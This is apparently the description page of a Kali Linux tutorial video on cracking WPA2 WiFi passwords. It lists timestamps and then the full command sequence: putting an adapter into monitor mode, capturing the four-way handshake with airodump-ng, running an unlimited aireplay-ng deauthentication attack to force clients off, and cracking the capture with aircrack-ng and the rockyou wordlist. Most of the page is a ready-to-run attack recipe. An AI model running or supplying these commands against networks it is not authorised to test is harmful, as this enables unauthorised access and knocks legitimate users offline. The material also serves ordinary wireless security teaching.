Cracking WiFi WPA2 Handshake

Cracking WiFi WPA2 Handshake

Full process using Kali Linux to crack WiFi passwords. I discuss network adapters, airmon-ng, airodump-ng, aircrack-ng and more in this video.

Use airmon-ng to crack WiFi networks: 0:00
​ Network Adapter to use: 0:46​
Kali Linux setup: 1:20​
Plug in network adapter: 1:35
​ Verify that network adapter is recognized by Kali Linux: 2:04
​ WPA2 network to crack: 2:43​
iwconfig: 3:27​
Kali Version: 3:34​
Kill conflicting processes with airmon-ng: 3:55
​ Put interface into monitor mode: 4:32​
Discover WiFi Networks with airodump-ng: 5:15
​ Use airodump-ng to view only one network: 6:20​
Connect to network using an iPhone: 6:39​
airodump-ng capture WPA2 four way handshake: 6:58
​ Use aireplay-ng to deauthenticate clients: 7:25​
WPA2 four way handshake captured: 8:08​
Use Wireshark to view WPA2 four way handshake: 8:38
​ Put interface back into managed mode: 9:30​
Crack WPA2 password with aircrack-ng: 10:10​
Password cracked: 11:00​
WiFi router WPA2 settings: 12:00
​ Summary: 12:40​

Commands used:
! See version of Kali
cat /etc/os-release
uname -a

! See interfaces
ip addr

!kill processes
sudo airmon-ng check kill

!Start monitor mode
sudo airmon-ng start wlan0

!Verify that monitor mode is used
sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:

! Get the AP’s MAC address and channel
sudo airodump-ng wlan0mon

! AP-MAC & channel – you need to select your own here:
ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

!1st Window:
!Make sure you replace the channel number and bssid with your own
!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 –bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window – deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng –deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL

!Stop monitor mode
airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist
!Make sure you have rockyou in text format (unzip file on Kali)
!Replace hack1-01.cap with your file name
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt
